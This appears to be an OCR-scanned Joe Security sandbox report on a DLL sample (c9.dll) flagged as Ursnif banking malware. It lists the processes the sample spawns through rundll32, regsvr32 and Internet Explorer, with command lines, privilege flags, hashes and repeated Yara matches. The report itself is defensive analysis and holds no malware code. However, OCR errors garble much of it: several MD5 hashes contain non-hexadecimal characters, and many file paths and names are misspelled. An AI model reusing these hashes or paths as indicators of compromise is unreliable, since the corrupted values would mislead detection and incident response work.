Start date: 07/10/2021

Path: C:\Windows\System32\loadd|I32.exe
Wow64 process (32bit): true
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

loaddlI32.exe 'C:\Users\user\Desktop\c9.dllI'

0x390000

893440 bytes
72FCD8FBOADC38ED9050569AD673650E

true

true

C, C++ or other language

.

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.494076089.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.494104508.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.494162883.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000002.793692440.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000001.00000002.791857039.00000000028C9000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.494126017.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.493921377.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.493983167.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.494183251.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.494038831.0000000003318000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000001.00000003.400880325.0000000000880000.00000040.00000001.sdmp, Author:
Joe Security

Reputation: moderate
File Activities Show Windows behavior
Analysis Process: cmd.exe PID: 6032 Parent PID: 5048

General

Start time: 16:19:54

Start date: 07/10/2021

Path: C:\Windows\SyswOWe64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\c9.dll' #1

0x150000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D

true
true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: regsvr32.exe PID: 6044 Parent PID: 5048

General

Start time: 16:19:55

Start date: 07/10/2021
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Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Windows\SysWOW64\regsvr32.exe

true

regsvr32.exe /s C:\Users\user\Desktop\c9.dll
0x130000

20992 bytes
426E7499F6A7346F0410DEAD0805586B
true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000003.00000003.522487862.0000000004AB9000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000002.523734739.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.522077972.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.521984105.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.522163462.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.521952252.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.522107522.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.522139753.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000003.00000003.376653737.0000000004520000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.522176306.0000000005328000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.522017997.0000000005328000.00000004.00000040.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 5876 Parent PID: 6032
General
Start time: 16:19:55
Start date: 07/10/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true

rundll32.exe ‘C:\Users\user\Desktop\c9.dIl' #1
0xac0000

61952 bytes
D7CA562B0DB4F4ADDOF03A89A1FDAD6G3D
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455802504.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000004.00000003.378158897.0000000002F90000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455706201.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455826385.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455734342.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000004.00000003.462278970.0000000004E29000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000002.463365965.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455848198.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455863504.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455758627.00000000056A8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.455887821.00000000056A8000.00000004.00000040.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
Analysis Process: iexplore.exe PID: 5868 Parent PID: 5048
General
Start time: 16:19:55
Start date: 07/10/2021
Path: C:\Program Files\internet explorer\iexplore.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Program Files\Internet Explorer\iexplore.exe
0x7ff78b180000

823560 bytes
6465CB92B25A7BC1DF8E01D8ACS5E7596
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Analysis Process: rundli32.exe PID: 1576 Parent PID: 5048

General

Start time: 16:19:56

Start date: 07/10/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline:

Imagebase:
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D
true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000006.00000003.494661342.0000000004A29000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.488044357.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000006.00000003.386491469.0000000004530000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000002.496166737.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.488134798.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.487996782.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.488104273.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.488074822.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.488158475.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.488197263.00000000052F8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000006.00000003.487961993.00000000052F8000.00000004.00000040.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
Analysis Process: iexplore.exe PID: 6180 Parent PID: 5868
General
Start time: 16:19:57
Start date: 07/10/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

Registry Activities

true

‘C:\Program Files (x86)\Internet ExploreNIEXPLORE.EXE' SCODEF:5868 CREDAT:17410
Iprefetch:2

0xa40000
822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Show Windows behavior

Show Windows behavior

Analysis Process: rundll32.exe PID: 6296 Parent PID: 5048

General

Start time:
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Start date: 07/10/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: rundll32.exe C:\Users\user\Desktop\c9.dll,Voicetest

Imagebase: 0x7ff797770000

File size: 61952 bytes

MDS5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD63D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000008.00000003.395591048.0000000004D60000.00000040.00000001.sdmp, Author:
Joe Security

Analysis Process: rundll32.exe PID: 6436 Parent PID: 5048

General

Start time: 16:20:12

Start date: 07/10/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: rundlI32.exe C:\Users\user\Desktop\c9.dIl,Writtendesign

Imagebase: 0xac0000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD63D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:

0000000A.00000003.399484771.0000000003020000.00000040.00000001.sdmp, Author:
Joe Security
Analysis Process: iexplore.exe PID: 6072 Parent PID: 5868

General

Start time: 16:21:26

Start date: 07/10/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Internet ExploreNIEXPLORE.EXE' SCODEF:5868 CREDAT:82962
Iprefetch:2

Imagebase: 0xa40000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: iexplore.exe PID: 1704 Parent PID: 5868

General

Start time: 16:21:40

Start date: 07/10/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Internet Explore\lEXPLORE.EXE' SCODEF:5868 CREDAT:82970

Iprefetch:2
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Imagebase: 0xa40000

File size: 822536 bytes

MDS5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: iexplore.exe PID: 4488 Parent PID: 5868

General

Start time: 16:21:40

Start date: 07/10/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: '‘C:\Program Files (x86)\Internet Explorer\EXPLORE.EXE' SCODEF:5868 CREDAT:17424
Iprefetch:2

Imagebase: 0xa40000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: iexplore.exe PID: 6528 Parent PID: 5868

General

Start time: 16:21:54

Start date: 07/10/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Internet ExploreNlEXPLORE.EXE' SCODEF:5868 CREDAT:17436
Iprefetch:2

Imagebase: 0xa40000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Disassembly

Code Analysis
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